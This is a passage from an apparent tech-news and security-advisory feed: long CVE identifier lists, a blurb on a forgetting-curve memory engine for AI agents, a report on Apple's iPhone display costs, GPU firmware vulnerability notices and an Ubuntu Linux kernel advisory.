CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)

Context Windows Forget What Matters — I Built a Usage-Reinforced Decay Engine for AI Agent Memory

Fri, 24 Jul 2026 14:06:17 +0200

Most AI memory systems keep the newest information—not the most important. Here's how I used the Ebbinghaus forgetting curve to build a better memory engine for LLMs.

The post Context Windows Forget What Matters — I Built a Usage-Reinforced Decay Engine for AI Agent Memory appeared first on Towards Data Science.

Apple wants cheaper iPhone displays to offset spiraling memory costs

Fri, 24 Jul 2026 13:43:47 +0200

As the price of components like RAM and storage continues to skyrocket, Apple has reportedly asked display makers to reduce their prices in an attempt to keep iPhone production costs under control.

Apple hopes to save money on new iPhone displays

According to The Elec's report, Apple has suggested paying suppliers LG Display and Samsung Display around $70 per iPhone 18 Pro Max display. The report suggests that is angling to pay even less, with both companies aiming for per-panel price points of around $66.50.

Apple could pay as much as 20% less than it paid for 2025's iPhone 17 Pro Max displays if LG Display and Samsung Display succeed in meeting that sub-$67 goal.

Continue Reading on AppleInsider | Discuss on our Forums

CVE-2026-49745 | Imagination Graphics DDK up to 26.1 RTM1 GPU Firmware memory corruption (EUVD-2026-48534)

Fri, 24 Jul 2026 13:43:16 +0200

A vulnerability, which was classified as very critical, has been found in Imagination Graphics DDK up to 1.18 RTM2/23.2 RTM2/24.2 RTM2/25.3 RTM/26.1 RTM1. Affected is an unknown function of the component GPU Firmware. Performing a manipulation results in memory corruption. This vulnerability is reported as CVE-2026-49745. The attack is possible to be carried out remotely. No exploit exists. It is advisable to upgrade the affected component.

CVE-2026-49744 | Imagination Graphics DDK up to 26.1 RTM0 GPU Firmware memory corruption (EUVD-2026-48533)

Fri, 24 Jul 2026 13:43:13 +0200

A vulnerability classified as very critical was found in Imagination Graphics DDK up to 1.18 RTM2/23.2 RTM2/24.2 RTM2/25.3 RTM/26.1 RTM0. This impacts an unknown function of the component GPU Firmware. Such manipulation leads to memory corruption. This vulnerability is documented as CVE-2026-49744. The attack needs to be performed locally. There is not any exploit available. Upgrading the affected component is advised.

USN-8603-1: Linux kernel (Azure) vulnerabilities

Fri, 24 Jul 2026 13:02:31 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - x86 platform drivers; - PSP security protocol; - ARM32 architecture; - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - RISC-V architecture; - S390 architecture; - User-Mode Linux (UML); - x86 architecture; - Block layer subsystem; - Cryptographic API; - Intel NPU Driver; - Compute Acceleration Framework; - ACPI drivers; - Auxiliary display drivers; - Drivers core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - Ublk userspace block driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clock framework and drivers; - CPU frequency scaling framework; - Hardware crypto device drivers; - Buffer Sharing and Synchronization framework; - DPLL subsystem; - EDAC drivers; - Arm Firmware Framework for ARMv8-A(FFA); - EFI core; - FWCTL subsystem; - GPIO subsystem; - GPU drivers; - Greybus drivers; - HID subsystem; - Microsoft Hyper-V drivers; - Hardware monitoring drivers; - I2C subsystem; - I3C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - Input Device core drivers; - IOMMU subsystem; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - NVIDIA Tegra memory controller driver; - IBM Advanced System Management driver; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Texas Instruments network drivers; - MediaTek network drivers; - NTB driver; - NVME drivers; - Device tree and open firmware driver; - Parport drivers; - PCI subsystem; - Pin controllers subsystem; - Chrome hardware platform drivers; - ACPI WMI driver; - Generic PM domains; - MediaTek PM domains; - Power supply drivers; - Remote Processor subsystem; - MPAM driver; - Amlogic Meson reset controller drivers; - S/390 drivers; - SCSI subsystem; - NVIDIA Tegra Control Backbone (CBB) driver; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - Thunderbolt and USB4 drivers; - TTY drivers; - Userspace I/O drivers; - USB Device Class drivers; - ULPI bus; - DesignWare USB2 driver; - USB Gadget drivers; - USB Dual Role (OTG-ready) Controller drivers; - USB Serial drivers; - USB Type-C support driver; - USB Type-C Port Controller Manager driver; - TI TPS6598x USB Power Delivery controller driver; - USB Type-C Connector System Software Interface driver; - USB over IP driver; - vDPA drivers; - VFIO drivers; - Framebuffer layer; - TSM AMD SEV Guest driver; - Xen hypervisor drivers; - 9P distributed file system; - File systems infrastructure; - AFS file system; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - HugeTLB file system; - Journaling layer for block devices (JBD2); - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Overlay file system; - Diskquota system; - SMB network file system; - Tracing file system; - UDF file system; - XFS file system; - DRM TTM subsystem; - Codetag library; - Control group (cgroup); - Kernel CPU control infrastructure; - Memory management; - Tracing infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Freescale ENETC Ethernet drivers; - Memory Management; - KVM subsystem; - Linked list library; - Netfilter; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Bluetooth subsystem; - Networking core; - Network shaper API; - Network traffic control; - TCP network protocol; - XFRM subsystem; - User-space API (UAPI); - io_uring subsystem; - IPC subsystem; - Audit subsystem; - BPF subsystem; - DMA mapping infrastructure; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - IRQ subsystem; - Kexec HandOver (KHO); - Locking primitives; - Padata parallel execution mechanism; - Scheduler infrastructure; - Timer subsystem; - Cryptographic library; - Scatterlist API; - Heterogeneous memory management; - KProbes tracing; - KASAN memory debugging framework; - 802.1Q VLAN protocol; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - Distributed Switch Architecture; - Ethtool driver; - Handshake API; - HSR network protocol; - IPv4 networking; - IPv6 networking; - IUCV driver; - L2TP protocol; - MAC80211 subsystem; - Multipath TCP; - NFC subsystem; - Open vSwitch; - Packet sockets; - Phonet protocol; - Qualcomm IPC Router (QRTR); - RDS protocol; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - Integrity Measurement Architecture(IMA) framework; - Key management; - Landlock security; - Linux Security Modules (LSM) Framework; - SELinux security module; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - AudioScience HPI driver; - Creative Sound Blaster X-Fi driver; - FourSemi audio codecs; - Texas InstrumentS Audio (ASoC/HDA) drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592, CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600, CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608, CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620, CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712, CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058, CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348, CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991, CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011, CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028, CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032, CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036, CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040, CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044, CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058, CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066, CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086, CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094, CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098, CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202, CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210, CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214, CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223, CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240, CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276, CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280, CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288, CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296, CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301, CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305, CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309, CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313, CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317, CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904, CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360, CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368, CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372, CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380, CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840, CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844, 